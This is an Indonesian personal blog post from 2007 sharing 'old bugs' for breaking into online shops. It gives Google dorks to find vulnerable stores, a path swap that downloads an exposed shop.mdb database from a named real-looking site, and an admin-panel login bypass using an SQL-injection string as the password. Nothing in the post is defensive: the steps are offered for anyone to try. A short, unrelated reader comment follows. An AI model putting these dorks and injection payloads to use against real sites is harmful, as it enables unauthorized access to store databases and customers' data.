MO KEREN GAUL DUNK BELAJAR DAN BELAJAR

Tuesday, March 6, 2007

BuG LaMa YaNG NaRSiiiZzzz

cara ini mungkin udah kuno, tapi masih ada yang bisa masuk... bikin gemes deh beneran lhoo icha udah coba xixixixii
Seperti biasanya si mbah google setia nemenin icha:
langsung aja icha tanya mbah hari ini belajar apa ech mbah nya bilang cucu mbah yang cute ini lho pake aja bug bug >>> icha bingung bug ato bugs klo bugs bunny icha ngerti halaaah... ^_^

Nech yach:
inurl:"mall/lobby.asp"
contoh
CODE
http://www.gemdepot.com/mall/lobby.asp

ganti lobby.asp nya jadi fpdb/shop.mdb
jadi nanti url nya
CODE
http://www.gemdepot.com/fpdb/shop.mdb


dapat dech .mdb ===> trus klik open database JANGAN klik "convert databese"

ato pake cara ini :

inurl:"cart.php?m="

copy salah satu link, sample:
CODE
http://store.bla-bla.com/store/cart....duct_list&c=23

paste ke notepad/wordpad
trus pada bagian cart.php?m=product_list&c=23 lo apus
ganti dg kata admin.
jadi kayak gini :
CODE
http://store.bla-bla.com/store/admin


udah ..?
copy paste ke browser tunggu ampe tampilan admin panel keluar
trus injek pake SQL, login pake
username : admin
password : 'or"="

1 comments:

AndaikaN said...

nice, sebagus yang punya blog dan nama anda mengingatkan aku pada seseorang yang kurindu, seseorang yang pernah mengisi setiap hari-hariku, seseorang yang kubenci tapi juga kucinta, ach dunia emank aneh koq cha :)